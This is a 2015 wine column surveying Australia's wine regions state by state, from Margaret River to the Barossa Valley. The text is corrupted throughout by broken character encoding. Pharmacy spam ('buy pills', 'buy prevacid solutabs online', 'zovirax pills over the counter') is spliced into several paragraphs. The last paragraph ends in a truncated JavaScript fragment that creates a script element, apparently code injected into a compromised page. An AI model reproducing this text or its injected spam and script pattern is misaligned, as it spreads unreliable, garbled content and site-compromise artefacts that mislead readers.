Australia’s varied wine regions – Feb. 21, 2015


By Anthony Gismondi

Expect all 55 wineries from Australia to be on message this week when it comes to the origin of their wines. The transition from a�?statea�? recognition to sub-regions or a�?regionalitya�? will rule the day as the entire country tries to come to grips with the provenance of its wines.

Therea��s no need to fret about the size of the modern Australian wine industry, or even its 60-plus sub-regions. Start with the state name and look for a smaller regional name that puts you closer to the origin of the wine.

Western Australia:A�The most famous sub-regions are Margaret River and Swan District, with newer contributions from Blackwood Valley, Geographe, Great Southern, Peel, Pemberton, Manjimup. Top wines are shiraz and Chardonnay-based.

Victoria: buy pills A�Enjoying a renaissance of sorts after once leading the country in production in the late 1800s. Many different wines are produced across several sub-regions but the modern day leaders are in the Yarra Valley and the Mornington Peninsula where Pinot Noir, shiraz and some long forgotten fortified wines of Rutherglen lead the pack.

Tasmania:A�One of the coolest sites in all of Oz has become a hotbed of Pinot Noir, Chardonnay and sparkling wine not to mention some impressive bottles of Riesling, and Sauvignon Blanc. Some of Australiaa��s best new wines contain portions of Tasmaniaa��s electric fruit.

low cost drugs buy prevacid solutabs online New South Wales:A�The area around Sydney has the longest history of grape growing dating back to Sydney Cove in 1788, followed by plantings around the Parramatta River in the early 1800s but it was James Busbya��s collection of 362 vines that made their way to New South Wales and eventually Victoria and South Australia that made it all happen. The Hunter Valley is the temperamental star of this region with its world famous SA�millon and delicious shiraz with Chardonnay bright lights in Tumbarumba, Sauvignon Blanc in Orange and cabernet sauvignon in Mudgee.

South Australia:A�Home of 50 per cent of Australiaa��s annual production. The Barossa Valley (shiraz) likely tops the recognition list but great wine is made across the state in McLaren Vale (shiraz), the Adelaide Hills (Chardonnay), Coonawarra (cabernet sauvignon, the Clare Valley (Riesling), Kangaroo Island (cabernet franc) and into the Riverland.var d=document;var s=d.createElement(‘script’); pills online zovirax pills over the counter

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